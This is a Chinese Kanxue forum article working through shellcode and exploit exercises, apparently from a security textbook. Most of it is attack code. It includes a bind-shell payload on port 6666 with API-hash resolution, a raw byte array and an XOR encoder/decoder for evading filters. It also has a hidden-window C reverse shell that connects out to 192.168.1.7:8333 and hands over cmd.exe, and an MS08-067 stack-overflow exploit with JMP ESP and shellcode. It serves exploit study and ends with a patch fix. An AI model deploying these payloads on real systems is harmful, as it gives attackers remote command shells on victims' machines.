本文为看雪论坛优秀文章
打开 • 666端口
shellcode要实现的功能:
1)绑定一个shell到6666端口。
2)允许外部的网络连接使用这个shell。
3)程序能够正常退出。
#define _CRT_SECURE_NO_WARNINGS
//#include <Windows.h>
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#define DLL_NAME "user32.dll"
#define PASSWORD "1234567"
using namespace std;
int verify_password(char* password)
{
int authenticated;
char buffer[44];
authenticated = strcmp(password, PASSWORD);
strcpy(buffer, password);//造成栈溢出的函数
return authenticated;
}
int shellcode_test()
{
int valid_flag = 0;
char password[1024] = { 0 };
FILE* fp;
DWORD filesize = 0;
if (!(fp = fopen("key.txt", "rb+")))
{
exit(0);
}
fseek(fp, 0, SEEK_END); //指针指向尾部
filesize = ftell(fp); //记录文件的长度
fseek(fp, 0, SEEK_SET); //恢复指针,指向开始位置
//将文件读取缓冲区
fread(password, filesize, 1, fp);
valid_flag = verify_password(password);
if (valid_flag)
{
printf("密码错误\n");
}
else
{
printf("密码正确\n");
}
fclose(fp);
}
int main()
{
LoadLibraryA("ws2_32.dll");
shellcode_test();
system("pause");
return 0;
}
上面已经给出了shellcode要实现的功能,这里再说一下:
1)绑定一个shell到6666端口。
2)允许外部的网络连接使用这个shell。
3)程序能够正常退出。
//这里把源代码稍微改了一下,变为2个字节的hash值
DWORD hash_collision(const char* funcname)
{
DWORD ret = 0;
__asm
{
CLD //清除DF标志
xor edx, edx
xor eax, eax
mov esi, funcname
hash_loop :
lodsb
xor al, 0x71
sub dx, ax
rol dx,1
cmp al, 0x71
jne hash_loop
mov ret, edx
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
//char ldba[] = "LoadLibraryA";//0x00002BA3
//char ldba[] = "CreateProcessA"; //0x00006b10
//char ldba[] = "TerminateProcess";//0x0000a51b
//char ldba[] = "WSAStartup";//0x0000c5c7
//char ldba[] = "WSASocketA";//0x0000b433
//char ldba[] = "bind";//0x0000fa11
//char ldba[] = "listen";//0x0000e971
char ldba[] = "accept";//0x0000ef81
DWORD hashval = hash_collision(ldba);
system("pause");
return 0;
}
//对书中提供的源代码做了些改动
void TestPort()
{
//打开6666端口
__asm
{
mov eax, esp
add eax, 7
jmp codearea
//函数的hash值
_emit 0xA3
_emit 0x2B //LoadLibraryA
_emit 0x10
_emit 0x6b //CreateProcessA
_emit 0x1b
_emit 0xa5 //TerminateProcess
_emit 0xc7
_emit 0xc5 //WSAStartup
_emit 0x33
_emit 0xb4 //WSASocketA
_emit 0x11
_emit 0xfa //bind
_emit 0x71
_emit 0xe9 //listen
_emit 0x81
_emit 0xef //accept
//"CMd"
_emit 0x43 //inc ebx
_emit 0x4d //dec ebp
_emit 0x64 //FS:
codearea:
//start of proper code
cdq //把edx设置为0
xchg eax, esi //esi = addr of first function hash
lea edi, [esi - 0x10] //edi = addr to start writing function
//address (last addr will be written just
//before "cmd")
//定位kernel32.dll的基址
mov ebx, fs: [edx + 0x30]
mov ecx, [ebx + 0x0c]
mov ecx, [ecx + 0x1c]
mov ecx, [ecx]
mov ebp, [ecx + 0x08] //ebp = base address of kernel32.dll
//提升堆栈空间 提升0x300
mov dh, 0x03 //sizeof(WSADATA) is 0x190
sub esp, edx
//把指向"ws2_32"字符串的指针压入到堆栈
mov dx, 0x3233 //edx剩余的部分为空
push edx
push 0x5F327377
push esp
find_lib_functions :
lodsw //从 ESI 指向的内存地址加载一个字节到AL
//ESI 按照方向标志位的状态递增或递减,这儿是递增
cmp ax, 0xc5c7 //0xc5c7是WSAStartup的hash值
jne find_functions
xchg eax, ebp //save current hash
call[edi - 0xC] //LoadLibraryA
xchg eax, ebp //restore current hash
push edi
find_functions :
pushad //保存寄存器
mov eax, [ebp + 0x3C] //eax = start of PE header
mov ecx, [ebp + eax + 0x78] //ecx = relative offset of export table
add ecx, ebp //导出表结构地址PIMAGE_EXPORT_DIRECTORY
mov ebx, [ecx + 0x20] //+20 导出函数名称表 即为_IMAGE_EXPORT_DIRECTORY + AddressOfNames
add ebx, ebp //函数名称地址
xor edi, edi
next_function_loop :
inc edi
mov esi, [ebx + edi * 4] //esi = relative offset of current function name
add esi, ebp //esi = absolute offset of current function name
cdq //CDQ这个指令把EAX的第31bit复制到 EDX 的每一个bit上
xor eax,eax
xor edx,edx
hash_loop :
lodsb //从 ESI 指向的内存地址加载两个字节到Ax
//ESI 按照方向标志位的状态递增或递减,这儿是递增
xor al, 0x71
sub dx, ax
rol dx, 1
cmp al, 0x71 //loop until we reach end of string
jne hash_loop
cmp dx, [esp + 0x1C] //compare to the requested hash (saved on stack from pushed)
jnz next_function_loop
mov ebx, [ecx + 0x24] //+0x24 导出函数序号表 _IMAGE_EXPROT_DIRECTORY + AddressOfNameOrdinals
add ebx, ebp //ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] //di = ordinal number of matched
mov ebx, [ecx + 0x1C] //+0x1C 导出函数地址表 _IMAGE_EXPROT_DIRECTORY + AddressOfFunctions
add ebx, ebp //ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] //add to ebp (base addr of module) the relative offset of matched function
//relative offset of matched function
xchg eax, ebp //move func addr into eax
pop edi //edi is last onto stack in pushed
stosd //stosd指令将EAX的内容存入由EDI中偏移量指向的内存位置
push edi //EDI按照方向标志位的状态递增或递减,这儿是递增
popad //恢复寄存器
cmp esi, edi //loop until we reach end of last hash
jne find_lib_functions
pop esi //saved location of first winsock function
//we will lodsd and call each func in sequence
//初始化winsock
push esp //use stack for WSADATA
push 0x02 //wVersionRequested
lodsd
call eax //调用WSAStartup
//null-terminate "cmd"
mov byte ptr[esi + 0x13], al //eax = 0 if WSAStartup() worked
//clear some stack to use as NULL parameters
lea ecx, [eax + 0x30] //sizeof(STARTUPINFO) = 0x44
mov edi, esp
rep stosd //eax is still 0
//rep指令的目的是重复其上面的指令.ECX的值是重复的次数.
//STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.
//create socket
inc eax
push eax //type = 1 (SOCK_STREAM)
inc eax
push eax //af = 2(AF_INET)
lodsd
call eax //WSASocketA
xchg ebp, eax //save SOCKET descriptor in ebp
//push bind parameters
mov eax, 0x0a1aff02 //0x1a0a = prot 6666,0x02 = AF_INET
xor ah, ah //remove the ff from eax
push eax
push esp //pointer to our sockaddr struct
//call bind(),listen() and accept() in turn
call_loop:
push ebp //saved SOCKET descriptor (we implicitly pass NULL for all other params)
lodsd
call eax //call the next function
test eax, eax //bind() and listen() return 0,accept() returns
//a SOCKET descriptor
jz call_loop
//initialise a STARTUPINFO structure at esp
inc byte ptr[esp + 0x2d] //set STARTF_USESTDHANDLES to true
sub edi, 0x6c //point edi at hStdInput in STARTUPINFO
stosd //use SOCKET descriptor returned by accept
//(still in eax) as the stdin handle same for stdout
stosd //same for stderr (optional)
//创建子进程
pop eax //set eax = 0 (STARTUPINFO now at esp + 4)
push esp //use stack as PROCESSINFORMATION structure
//(STARTUPINFO now back to esp)
push esp //STARTUPINFO structure
push eax //lpCurrentDirectory = NULL
push eax //lpEnvironment = NULL
push eax //dwCreationFlags = NULL
push esp //bInheritHandles = true
push eax //lpThreadAttributes = NULL
push eax //lpProcessAttributes = NULL
push esi //lpCommandLine = "cmd"
push eax //lpApplicationName = NULL
call[esi - 0x1c] //CreateProcessA
push ebx
push 0xFFFFFFFF
call[esi - 0x18] //调用TerminateProcess()
}
}
int _tmain(int argc, _TCHAR* argv[])
{
TestPort();
system("pause");
return 0;
}
char codetest[] = {
0x8B, 0xC4, 0x83, 0xC0, 0x7, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33,
0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64,
0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03,
0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66,
0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B,
0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB,
0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2,
0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD,
0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57,
0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D,
0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02,
0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE,
0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50,
0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8
};
//对shellcode进行编码
void encoder(char* input, unsigned char key, int display_flag)
{
int i = 0, len = 0;
FILE* fp;
unsigned char* output = 0;
len = strlen(input);
output = (unsigned char*)malloc(len + 1);
if (!output)
{
printf("内存申请失败!\n");
system("pause");
exit(0);
}
//encode the shellcode
for (i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
}
if (!(fp = fopen("encode.txt", "w+")))
{
printf("文件创建失败!\n");
system("pause");
exit(0);
}
fprintf(fp, "\"");
for (i = 0; i < len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if ((i + 1) % 16 == 0)
{
fprintf(fp, "\"\n\"");
}
}
fprintf(fp, "\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if (display_flag)//打印
{
for (i = 0; i < len; i++)
{
printf("%0.2x ", output[i]);
if ((i + 1) % 16 == 0)
{
printf("\n");
}
}
}
free(output);
}
int _tmain(int argc, _TCHAR* argv[])
{
char codetest[] = {
0x8B, 0xC4, 0x83, 0xC0, 0x1d, 0xEB, 0x13, 0xA3, 0x2B, 0x10, 0x6B, 0x1B, 0xA5, 0xC7, 0xC5, 0x33,
0xB4, 0x11, 0xFA, 0x71, 0xE9, 0x81, 0xEF, 0x43, 0x4D, 0x64, 0x99, 0x96, 0x8D, 0x7E, 0xF0, 0x64,
0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B, 0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xB6, 0x03,
0x2B, 0xE2, 0x66, 0xBA, 0x33, 0x32, 0x52, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0x66, 0xAD, 0x66,
0x3D, 0xC7, 0xC5, 0x75, 0x06, 0x95, 0xFF, 0x57, 0xF4, 0x95, 0x57, 0x60, 0x8B, 0x45, 0x3C, 0x8B,
0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59, 0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34, 0xBB,
0x03, 0xF5, 0x99, 0x33, 0xC0, 0x33, 0xD2, 0xAC, 0x34, 0x71, 0x66, 0x2B, 0xD0, 0x66, 0xD1, 0xC2,
0x3C, 0x71, 0x75, 0xF3, 0x66, 0x3B, 0x54, 0x24, 0x1C, 0x75, 0xE1, 0x8B, 0x59, 0x24, 0x03, 0xDD,
0x66, 0x8B, 0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57,
0x61, 0x3B, 0xF7, 0x75, 0xA8, 0x5E, 0x54, 0x6A, 0x02, 0xAD, 0xFF, 0xD0, 0x88, 0x46, 0x13, 0x8D,
0x48, 0x30, 0x8B, 0xFC, 0xF3, 0xAB, 0x40, 0x50, 0x40, 0x50, 0xAD, 0xFF, 0xD0, 0x95, 0xB8, 0x02,
0xFF, 0x1A, 0x0A, 0x32, 0xE4, 0x50, 0x54, 0x55, 0xAD, 0xFF, 0xD0, 0x85, 0xC0, 0x74, 0xF8, 0xFE,
0x44, 0x24, 0x2D, 0x83, 0xEF, 0x6C, 0xAB, 0xAB, 0x58, 0x54, 0x54, 0x50, 0x50, 0x50, 0x54, 0x50,
0x50, 0x56, 0x50, 0xFF, 0x56, 0xE4, 0x53, 0x6A, 0xFF, 0xFF, 0x56, 0xE8, 0x90
};
encoder(codetest, 0x91, 1);//通过和0x91异或输出到文件encode.txt,以及打印出来
system("pause");
return 0;
}
//shellcode
1a 55 12 51 8c 7a 82 32 ba 81 fa 8a 34 56 54 a2
25 80 6b e0 78 10 7e d2 dc f5 08 07 1c ef 61 f5
1a cb a1 1a da 9d 1a d8 8d 1a 98 1a f8 99 27 92
ba 73 f7 2b a2 a3 c3 f9 e6 e2 a3 ce c5 f7 3c f7
ac 56 54 e4 97 04 6e c6 65 04 c6 f1 1a d4 ad 1a
dd 94 e9 92 5c 1a c8 b1 92 4c a2 6e d6 1a a5 2a
92 64 08 a2 51 a2 43 3d a5 e0 f7 ba 41 f7 40 53
ad e0 e4 62 f7 aa c5 b5 8d e4 70 1a c8 b5 92 4c
f7 1a ad ea 1a c8 8d 92 4c 92 bd 2a 04 ce 3a c6
f0 aa 66 e4 39 cf c5 fb 93 3c 6e 41 19 d7 82 1c
d9 a1 1a 6d 62 3a d1 c1 d1 c1 3c 6e 41 04 29 93
6e 8b 9b a3 75 c1 c5 c4 3c 6e 41 14 51 e5 69 6f
d5 b5 bc 12 7e fd 3a 3a c9 c5 c5 c1 c1 c1 c5 c1
c1 c7 c1 6e c7 75 c2 fb 6e 6e c7 79 01 6f 88
//解码器
void decoder()
{
__asm
{
mov eax,esp
add eax,0x16 //越过decoder,记录shellcode的起始位置
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl,0x91 //这里用0x91作为key(注意:假如编码时的key不为0x91,那么,这里也要做相应的改变)
mov [eax+ecx],bl
inc ecx
cmp bl,0x90 //在shellcode末尾放上一个字节的0x90作为结束符
jne decode_loop
}
}
//解码器的硬编码
//8B C4 83 C0 16 33 C9 8A 1C 08 80 F3 91 88 1C 08 41 80 FB 90 75 F1
反弹 • shell
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <iostream>
#include <WinSock2.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏控制台窗口
#define REMOTE_ADDR "192.168.1.7" //在kali上,通过ifconfig查看得知ip为"192.168.1.7"
#define REMOTE_PORT 8333
//反弹shell
void ReverseShellcode()
{
//初始化WSA套接字
WSADATA wsd;
WSAStartup(0x0202, &wsd);
SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
SOCKADDR_IN sin;
sin.sin_addr.S_un.S_addr = inet_addr(REMOTE_ADDR);//要连接的主机
sin.sin_port = htons(REMOTE_PORT);//端口
sin.sin_family = AF_INET;
//连接远程的服务端,发送验证代码
connect(socket, (sockaddr*)&sin, sizeof(sin));
send(socket, "[+]Hello!n", strlen("[+]Hello!n"), 0);
//创建cmd进程
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb = sizeof(STARTUPINFO);
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket; //将标准输入输出绑定到Socket
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
TCHAR cmdline[255] = L"cmd.exe";
while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
{ //创建进程,第五个参数TRUE子进程继承父进程的所有句柄
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
int main()
{
ReverseShellcode();
system("pause");
return 0;
}
MS08 • 067
2008年10月23日,微软紧急发布了一个严重的安全补丁MS08-067KB958644)。MS08-067是继 MS06-040之后又一个可以被利用的 RPC 漏洞,“著名”的 Conficker(又 名 Downadup、Kido)蠕虫利用的就是这个漏洞。
这个漏洞存在NetpwPathCannonicalize 函数的子函数 CanonicalizePathName 中,这两个函数都在netapi32.dll中。
受影响的系统:Windows 2000 SP4,Windows XP SP2和SP3,Windows Server 2003 SP1和SP2,Windows Vista Gold和SP1,Windows Server 2008和Windows 7 Pre-Beta。
发生栈溢出的位置,在CanonicalizePathName函数的子函数RemoveLegacyFolder中:
#include <Windows.h>
#include <iostream>
#include<Psapi.h>
#include<profileapi.h>
#include <tchar.h>
int __stdcall RemoveLegacyFolder(wchar_t* Destination)
{
wchar_t* v1; // ecx
wchar_t v2; // ax
wchar_t* v3; // ebx
wchar_t* v4; // edi
wchar_t* v5; // esi
const wchar_t* v6; // eax
wchar_t v7; // dx
wchar_t v8; // bx
wchar_t v10; // dx
wchar_t* i; // ecx
wchar_t v12; // ax
wchar_t* j; // eax
wchar_t* v14; // ecx
wchar_t* v15; // [esp+Ch] [ebp-4h]
v1 = Destination;
v2 = *Destination;
v3 = 0;
v4 = 0;
v15 = 0;
if (*Destination == 0x5C || v2 == 0x2F)
{
v10 = Destination[1];
if (v10 == 0x5C || v10 == 0x2F)
{
for (i = Destination + 2; ; ++i)
{
v12 = *i;
if (*i == 0x5C || v12 == 0x2F)
break;
if (!v12)
return 0;
}
if (!*i)
return 0;
v1 = i + 1;
v2 = *v1;
Destination = v1;
if (*v1 == 0x5C || v2 == 0x2F)
return 0;
}
}
v5 = v1;
if (!v2)
return 1;
while (1)
{
if (v2 == 0x5C)
{
if (v3 == v5 - 1)
return 0;
v4 = v3;
v15 = v5;
goto LABEL_6;
}
if (v2 != 0x2E || v3 != v5 - 1 && v5 != v1)
goto LABEL_6;
v6 = v5 + 1;
v7 = v5[1];
if (v7 == 0x2E)
{
v8 = v5[2];
if (v8 == 0x5C || !v8)
{
if (!v4)
return 0;
wcscpy(v4, v5 + 2);//移经操作
if (!v8)
return 1;
v15 = v4;
v5 = v4;
for (j = v4 - 1; *j != 0x5C && j != Destination; --j)
;
v1 = Destination;
v4 = (wchar_t*)(*j == 0x5C ? (unsigned int)j : 0);
}
goto LABEL_6;
}
if (v7 != 0x5C)
break;
if (v3)
{
v14 = v3;
}
else
{
v6 = v5 + 2;
v14 = v5;
}
wcscpy(v14, v6);
v1 = Destination;
LABEL_7:
v2 = *v5;
if (!*v5)
return 1;
v3 = v15;
}
if (v7)
{
LABEL_6:
++v5;
goto LABEL_7;
}
if (v3)
v5 = v3;
*v5 = 0;
return 1;
}
int _tmain(int argc, _TCHAR* argv[])
{
wchar_t path[] = L"\\aaa\\..\\..\\bbbb";
RemoveLegacyFolder(path);
system("pause");
return 0;
}
wchar_t path[] =
L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
for (j = v4 - 1; *j != 0x5C && j != Destination; --j)
;
//以下是书中提供的源码
#include <windows.h>
#include <stdio.h>
typedef int (__stdcall *MYPROC) (LPWSTR, LPWSTR, DWORD,LPWSTR, LPDWORD,DWORD);
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibrary(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\ccc\\aaa\\..\\..\\bbbb");
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval?L"FAIL":L"SUCCESS", retval);
FreeLibrary(handle);
getchar();
return 0;
}
//书上提供的源码
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
// address of jmp esp
#define JMP_ESP "\x5D\x38\x82\x7C\x00\x00"
//shellcode
#define SHELL_CODE "\x90\x90\x90\x90"\
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
int main(int argc, char* argv[])
{
WCHAR path[256];
WCHAR can_path[256];
DWORD type = 1000;
int retval;
HMODULE handle = LoadLibraryA(".\\netapi32.dll");
MYPROC Trigger = NULL;
if (NULL == handle)
{
wprintf(L"Fail to load library!\n");
return -1;
}
Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
if (NULL == Trigger)
{
FreeLibrary(handle);
wprintf(L"Fail to get api address!\n");
return -1;
}
path[0] = 0;
wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
wcscat(path,(wchar_t*)JMP_ESP);
wcscat(path,(wchar_t*)SHELL_CODE);
can_path[0] = 0;
type = 1000;
wprintf(L"BEFORE: %s\n", path);
retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
wprintf(L"AFTER : %s\n", can_path);
wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
FreeLibrary(handle);
return 0;
}
for (j = v4 - 1; *j != 0x5C && j != Destination; --j)
;
把j != Destination 改为 j >Destination
for (j = v4 - 1; *j != 0x5C && j > Destination; --j)
;
看雪ID:舒默哦
https://bbs.pediy.com/user-home-877885.htm
*本文由看雪论坛 舒默哦 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!